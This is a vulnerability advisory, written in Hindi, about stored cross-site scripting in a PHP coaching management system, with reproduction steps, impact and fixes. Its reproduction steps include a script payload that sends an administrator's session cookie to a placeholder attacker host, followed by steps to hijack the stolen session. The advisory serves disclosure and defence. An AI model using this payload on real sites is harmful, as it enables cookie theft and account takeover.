कोचिंग प्रबंधन प्रणाली में संग्रहीत क्रॉस-साइट स्क्रिप्टिंग (XSS) खाता अधिग्रहण की ओर ले जाती है
उत्पाद
PHP में कोचिंग प्रबंधन प्रणाली (Code-Projects.org)
https://code-projects.org/coaching-management-system-in-php-with-source-code/
प्रभावित घटक
- /modules/student/complaint.php (शिकायत सबमिशन)
- /modules/admin/incomingcomplaint.php (शिकायत देखना)
- शिकायत उत्तर कार्यक्षमता (प्रशासक/शिक्षक → छात्र)
संस्करण
अज्ञात (विक्रेता द्वारा संस्करण जानकारी प्रदान नहीं की गई; अप्रैल 2026 तक Code-Projects.org से उपलब्ध नवीनतम संस्करण पर परीक्षण किया गया)
भेद्यता प्रकार
CWE-79: वेब पेज जनरेशन के दौरान इनपुट का अनुचित न्यूट्रलाइज़ेशन (संग्रहीत क्रॉस-साइट स्क्रिप्टिंग)
विवरण
एप्लिकेशन शिकायत और उत्तर कार्यक्षमता में उपयोगकर्ता द्वारा आपूर्ति किए गए इनपुट को ठीक से सैनिटाइज़ करने में विफल रहता है। कम-विशेषाधिकार वाले उपयोगकर्ता द्वारा इंजेक्ट किया गया दुर्भावनापूर्ण JavaScript संग्रहीत हो जाता है और व्यवस्थापक या शिक्षक जैसे उच्च-विशेषाधिकार वाले उपयोगकर्ताओं द्वारा देखे जाने पर निष्पादित होता है।
इसके अतिरिक्त, उत्तर कार्यक्षमता भी कमजोर है, जो व्यवस्थापकों या शिक्षकों को JavaScript इंजेक्ट करने की अनुमति देती है जो छात्र सत्रों में निष्पादित होती है।
इसके परिणामस्वरूप संग्रहीत XSS भेद्यता उत्पन्न होती है जो कई उपयोगकर्ता भूमिकाओं को प्रभावित करती है।
पुनरुत्पादन के चरण
स्थिति 1: छात्र → प्रशासक (विशेषाधिकार वृद्धि)
-
छात्र के रूप में लॉगिन करें
-
नेविगेट करें:
/modules/student/complaint.php

-
निम्नलिखित पेलोड के साथ एक शिकायत सबमिट करें:
<script>
new Image().src="http://ATTACKER-IP:PORT/?c="+document.cookie;
</script>
-
व्यवस्थापक के रूप में लॉगिन करें
-
नेविगेट करें:
/modules/admin/incomingcomplaint.php

-
जब व्यवस्थापक शिकायत देखता है, तो पेलोड स्वचालित रूप से निष्पादित होता है
-
व्यवस्थापक सत्र कुकी हमलावर-नियंत्रित सर्वर पर भेजी जाती है
-
व्यवस्थापक सत्र को हाईजैक करने के लिए चुराई गई सत्र कुकी का उपयोग करें

स्थिति 2: प्रशासक → छात्र (रिवर्स XSS)
- व्यवस्थापक के रूप में लॉगिन करें
- पेलोड का उपयोग करके शिकायत का उत्तर दें:
- छात्र के रूप में लॉगिन करें
- शिकायत का उत्तर देखें
प्रूफ ऑफ कॉन्सेप्ट साक्ष्य
- व्यवस्थापक पैनल में दुर्भावनापूर्ण शिकायत देखने पर JavaScript निष्पादन की पुष्टि हुई
- सत्र कुकी (PHPSESSID) हमलावर-नियंत्रित सर्वर के माध्यम से सफलतापूर्वक एक्सफ़िलट्रेट की गई
- चुराई गई कुकी का उपयोग करके व्यवस्थापक सत्र हाईजैक किया गया
- उत्तर कार्यक्षमता के माध्यम से छात्र पैनल में JavaScript निष्पादन की पुष्टि हुई
प्रभाव
- कम-विशेषाधिकार वाले उपयोगकर्ता (छात्र) व्यवस्थापक संदर्भ में मनमाना JavaScript निष्पादित कर सकते हैं
- HttpOnly फ़्लैग की अनुपस्थिति के कारण सत्र हाईजैकिंग की ओर ले जाता है
- पूर्ण प्रशासनिक खाता अधिग्रहण
- द्विदिश XSS कई भूमिकाओं (व्यवस्थापक, शिक्षक, छात्र) से समझौता करने की अनुमति देता है
- एप्लिकेशन की अखंडता, गोपनीयता और उपलब्धता से पूर्ण समझौता
गंभीरता: CRITICAL
मूल कारण
- इनपुट सैनिटाइज़ेशन का अभाव
- आउटपुट एन्कोडिंग की अनुपस्थिति
- सत्र कुकीज़ पर सुरक्षा नियंत्रणों की कमी (HttpOnly फ़्लैग सेट नहीं है)
अनुशंसा
- सभी उपयोगकर्ता इनपुट को सैनिटाइज़ और मान्य करें।
- PHP में htmlspecialchars() जैसे फ़ंक्शंस का उपयोग करके आउटपुट एन्कोड करें
- सत्र कुकीज़ पर HttpOnly और Secure फ़्लैग सेट करें
- कंटेंट सुरक्षा नीति (CSP) लागू करें